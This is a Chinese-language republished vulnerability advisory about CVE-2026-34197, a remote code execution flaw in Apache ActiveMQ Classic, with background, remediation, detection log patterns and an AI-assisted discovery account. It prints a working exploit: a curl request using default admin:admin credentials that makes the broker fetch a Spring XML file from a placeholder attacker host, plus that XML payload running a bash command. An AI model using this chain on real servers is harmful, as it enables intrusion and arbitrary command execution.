ApacheActiveMQ中的远程代码执行漏洞(CVE-2026-34197)

admin 2026-04-13 03:35:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-34197是ApacheActiveMQClassic中存在13年的远程代码执行漏洞,攻击者可通过JolokiaAPI调用addNetworkConnector操作,利用vm传输机制加载远程SpringXML配置文件实现命令执行。该漏洞在默认凭证或6.0.0-6.1.1版本(因CVE-2024-32114无需认证)中危害极大。建议立即升级至5.19.4/6.2.3版本,检查日志中brokerConfig=xbean:http异常连接记录进行检测。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,解决方案,WEB安全,应用安全


cover_image

Apache ActiveMQ 中的远程代码执行漏洞 (CVE-2026-34197)

Ots安全

2026年4月8日 12:50 广东

威胁简报

恶意软件

漏洞攻击

概括

CVE-2026-34197 是 Apache ActiveMQ Classic 中的一个远程代码执行漏洞,该漏洞已存在 13 年之久。攻击者可以通过 ActiveMQ 的 Jolokia API 调用管理操作,诱使代理服务器获取远程配置文件并执行任意操作系统命令。

该漏洞需要凭据,但默认凭据admin:admin在许多环境中都很常见。在某些版本(6.0.0–6.1.1)中,由于另一个漏洞 CVE-2024-32114,完全不需要凭据。该漏洞会在未经身份验证的情况下无意中暴露 Jolokia API。在这些版本中,CVE-2026-34197 实际上是一个未经身份验证的远程代码执行 (RCE) 漏洞。

我们建议运行 ActiveMQ 的组织高度重视此问题,因为 ActiveMQ 一直是现实世界攻击者的反复目标,其漏洞利用和后利用方法已广为人知。CVE-2016-3088(影响 Web 控制台的已认证远程代码执行漏洞)和 CVE-2023-46604(影响代理端口的未认证远程代码执行漏洞)均已列入 CISA 的关键漏洞报告 (KEV) 列表。

ActiveMQ 版本 6.2.3 和 5.19.4 已修复此漏洞。

背景

Apache ActiveMQ 是一个开源的 Java 消息代理,于 2004 年首次发布。它是一种中间件,用于解耦服务并管理分布式系统中的消息队列。它被广泛部署在众多企业中,涵盖金融服务、医疗保健、政府和电子商务等领域。

ActiveMQ 有两种版本:ActiveMQ Classic(最初的代理)和 ActiveMQ Artemis(较新的实现)。此漏洞仅影响 Classic 版本。

Classic 代理自带一个基于 Web 的管理控制台,运行在 8161 端口,由 Jetty Web 服务器提供支持。该控制台包含 Jolokia,这是一个 HTTP 到 JMX 的桥接器,它将代理管理操作以 REST API 的形式公开。

2023年,ThreatBook的研究人员报告了CVE-2022-41678漏洞,该漏洞表明,经过身份验证的攻击者可以FlightRecorder通过Jolokia等工具调用JDK MBean,从而将Webshell写入磁盘。针对此漏洞的修复方案默认将Jolokia限制为只读操作,并禁止访问危险的MBean,但允许对ActiveMQ自身的MBean执行所有操作,以确保Web控制台能够继续正常工作。

<allow>
&nbsp;&nbsp;<mbean>
&nbsp; &nbsp;&nbsp;<name>org.apache.activemq:*</name>
&nbsp; &nbsp;&nbsp;<attribute>*</attribute>
&nbsp; &nbsp;&nbsp;<operation>*</operation>
&nbsp;&nbsp;</mbean>
</allow>

CVE-2026-34197 通过利用 ActiveMQ MBean 本身来绕过该修复。

漏洞

允许操作*意味着可以通过 Jolokia 调用对每个 ActiveMQ MBean 的所有操作。结果发现,其中一项操作(addNetworkConnector(String) 针对代理 MBean)存在代码执行路径。

ActiveMQ 支持将多个代理连接成网络,以实现负载均衡和高可用性。addNetworkConnector它会在运行时建立这些代理之间的桥接。您只需提供一个发现 URI,它就会创建网络连接。

ActiveMQ 还支持一种称为 VM 传输(vm://)的技术,这是一种进程内传输,旨在将代理嵌入到应用程序内部。客户端和代理不再通过 TCP 连接,而是通过同一 JVM 内的方法调用进行通信。这项技术最初是为了提高单元测试的效率而引入的,适用于轻量级嵌入式应用场景。

当vm://URI 引用不存在的代理时,ActiveMQ 默认会动态创建一个代理,并且它会接受一个brokerConfig参数来告诉它从哪里加载配置,包括攻击者控制的远程 URL。

攻击者可以通过精心构造的 URI 调用addNetworkConnectorJolokia,并将这些机制串联起来,强制代理获取并执行远程 Spring XML 配置文件:

curl -s -X POST&nbsp;http://TARGET:8161/api/jolokia/&nbsp;\
&nbsp; -H&nbsp;"Content-Type: application/json"&nbsp;\
&nbsp; -H&nbsp;"Origin: http://TARGET:8161"&nbsp;\
&nbsp; -u&nbsp;admin:admin \
&nbsp; -d&nbsp;'{
&nbsp; &nbsp; "type": "exec",
&nbsp; &nbsp; "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
&nbsp; &nbsp; "operation": "addNetworkConnector",
&nbsp; &nbsp; "arguments": ["static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"]
&nbsp; }'

传输vm://层检测到不存在的代理名称,因此BrokerFactory.createBroker() 使用攻击者控制的URL 进行调用。该xbean:http://..方案xbean:指示 ActiveMQ 将其视为 Spring XML 配置,并将其传递给 Spring 的实现ResourceXmlApplicationContext。这将实例化所有 bean 定义,从而导致远程代码执行。

例如,下面的有效负载 XML 使用 SpringMethodInvokingFactoryBean来调用Runtime.getRuntime().exec() 以执行任意命令。

<beanid="exec"class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
&nbsp;&nbsp;<propertyname="targetObject">
&nbsp; &nbsp;&nbsp;<beanclass="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
&nbsp; &nbsp; &nbsp;&nbsp;<propertyname="targetClass"value="java.lang.Runtime"/>
&nbsp; &nbsp; &nbsp;&nbsp;<propertyname="targetMethod"value="getRuntime"/>
&nbsp; &nbsp;&nbsp;</bean>
</property>
<propertyname="targetMethod"value="exec"/>
<propertyname="arguments">
&nbsp; &nbsp;&nbsp;<list>
&nbsp; &nbsp; &nbsp;&nbsp;<arrayvalue-type="java.lang.String">
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value>/bin/bash</value>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value>-c</value>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value>COMMAND_HERE</value>
&nbsp; &nbsp; &nbsp;&nbsp;</array>
&nbsp; &nbsp;&nbsp;</list>
</property>
</bean>

这与 CVE-2023-46604 中使用的接收器类型相同,后者也是通过强制 ActiveMQ 加载远程 Spring XML 配置文件来实现 RCE 的。

某些版本未经身份验证 (CVE-2024-32114)

上述漏洞利用需要对 Jolokia 端点进行身份验证,但在某些版本的 ActiveMQ 中,根本不需要任何凭据。

CVE-2024-32114 是 ActiveMQ 6.x 中的一个独立漏洞,该漏洞导致/api/* 包含 Jolokia 端点的路径被意外地从 Web 控制台的安全约束中移除。这意味着在 ActiveMQ 6.0.0 到 6.1.1 版本中,Jolokia 将完全未经身份验证。

在这些版本中,CVE-2026-34197 允许未经身份验证的远程代码执行。

补救措施

该漏洞已在 ActiveMQ Classic 版本 5.19.4 和 6.2.3 中修复。该补丁移除了addNetworkConnector添加vm:// 传输方式的操作,因为此操作原本就不应该作为远程操作公开。我们建议您更新到最新版本,并确保未使用任何默认凭据。

检测

漏洞利用会在 ActiveMQ 代理日志中留下清晰的痕迹。请查找引用带有vm:// 特定 URI 的网络连接器活动brokerConfig=xbean:http。这并非代理正常运行期间会发生的情况:

INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] started
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could&nbsp;notconnectto&nbsp;remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml: The configuration has&nbsp;no&nbsp;BrokerService&nbsp;instanceforresource: xbean:http://X.X.X.X:8888/payload.xml
...
INFO | Network Connector DiscoveryNetworkConnector:NC:BrokerService[localhost] stopped

通常情况下,代理服务器会多次重复这些连接尝试,然后网络连接器才会停止工作。请注意,命令执行发生在连接尝试期间——WARN配置失败的消息是在有效负载运行完毕后才出现的。

其他需要关注的指标:

  • POST 请求/api/jolokia/ 包含addNetworkConnector在请求体中
  • ActiveMQ 代理进程向意外主机发出的出站 HTTP 请求。
  • ActiveMQ Java 进程意外地生成了子进程。

发现

现在我总是用 Claude 对源代码进行初步的漏洞挖掘。我会简单地提示它一些信息,并在网络上设置一个目标来验证发现的结果。很多时候,Claude 能发现一些有趣的东西,但这些发现还不足以构成我会费心报告的 CVE 漏洞。但这次,它表现出色,仅仅需要几个基本的提示。这其中 80% 是 Claude 的功劳,剩下的 20% 是人工的润色。

事后看来,这个漏洞显而易见,但你也能理解为什么多年来它一直被忽视。它涉及多个独立开发的组件:Jolokia、JMX、网络连接器和虚拟机传输。每个功能单独来看都能正常工作,但它们组合在一起却很危险。而这正是克劳德的过人之处——他思路清晰,不带任何预设,高效地将所有组件串联起来。我手动可能需要一周才能完成的工作,克劳德只用了十分钟就搞定了。

好消息是,像 Claude 这样的工具人人可用,我强烈建议应用安全工程师和开发人员充分利用它们。在过去六个月里,随着最新模型的推出,漏洞研究(尤其是发现低复杂度漏洞)的门槛已经降低了几个数量级,任何具备安全背景的人都可以从中受益。

举个例子,以下是我在很多项目中都会使用的一个简单的提示:

Analyze&nbsp;this code base&nbsp;for&nbsp;vulnerabilities that can be exploited&nbsp;by&nbsp;a&nbsp;userwithnoprior&nbsp;privileges.
- Enumerate&nbsp;any&nbsp;endpoints&nbsp;accessibleto&nbsp;an unauthenticated, guest,&nbsp;or&nbsp;anonymous user.
- Research&nbsp;prior&nbsp;commits&nbsp;andprior&nbsp;vulnerabilities&nbsp;to&nbsp;identify hot spots&nbsp;in&nbsp;the code.
-&nbsp;Analyze&nbsp;the code, focusing&nbsp;on&nbsp;these vulnerability classes:
&nbsp; &nbsp; - RCE: command injection, deserialization, arbitrary&nbsp;file&nbsp;upload , code injection, SSTI
&nbsp; &nbsp; -&nbsp;Authentication&nbsp;Bypass:&nbsp;consider&nbsp;built-in&nbsp;auth, SAML, OAuth2, LDAP; password&nbsp;reset&nbsp;logic; session management; header spoofing; weak crypto, brute force protection, path/routing confusion
&nbsp; &nbsp; - Broken access control: missing authentication/authorization checks
&nbsp; &nbsp; - Arbitrary file read: Path traversal. If Windows is supported, pay special attention to Windows path handling
&nbsp; &nbsp; - SSRF: full-read and blind, consider redirect handling and DNS rebinding
&nbsp; &nbsp; - XXE
&nbsp; &nbsp; - SQLi: also consider second order SQLi
&nbsp; &nbsp; - Important misconfigurations: default creds, default secret keys, default guest access, weak file permissions, web server config; look at all deployment types including Docker
-&nbsp;Calloutany&nbsp;notable bad code smells&nbsp;for&nbsp;further review

Ignore&nbsp;the&nbsp;following&nbsp;vuln classes:
- XSS
- CSRF
-&nbsp;Open&nbsp;Redirect
-&nbsp;Any&nbsp;denial&nbsp;of&nbsp;service (DOS)

时间线

2026年3月22日 Horizon3 报告了针对 Apache 的漏洞。

2026年3月26日 Apache ActiveMQ 团队已确认该报告并分配了 CVE 编号。

2026年3月30日 ActiveMQ Classic 版本 6.2.3 发布

2026年4月6日 Apache ActiveMQ 发布安全公告

2026年4月7日 CVE-2026-34197 已发布

2026年4月7日 这篇博文

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《Apache ActiveMQ 中的远程代码执行漏洞 (CVE-2026-34197)》

评论:0   参与:  0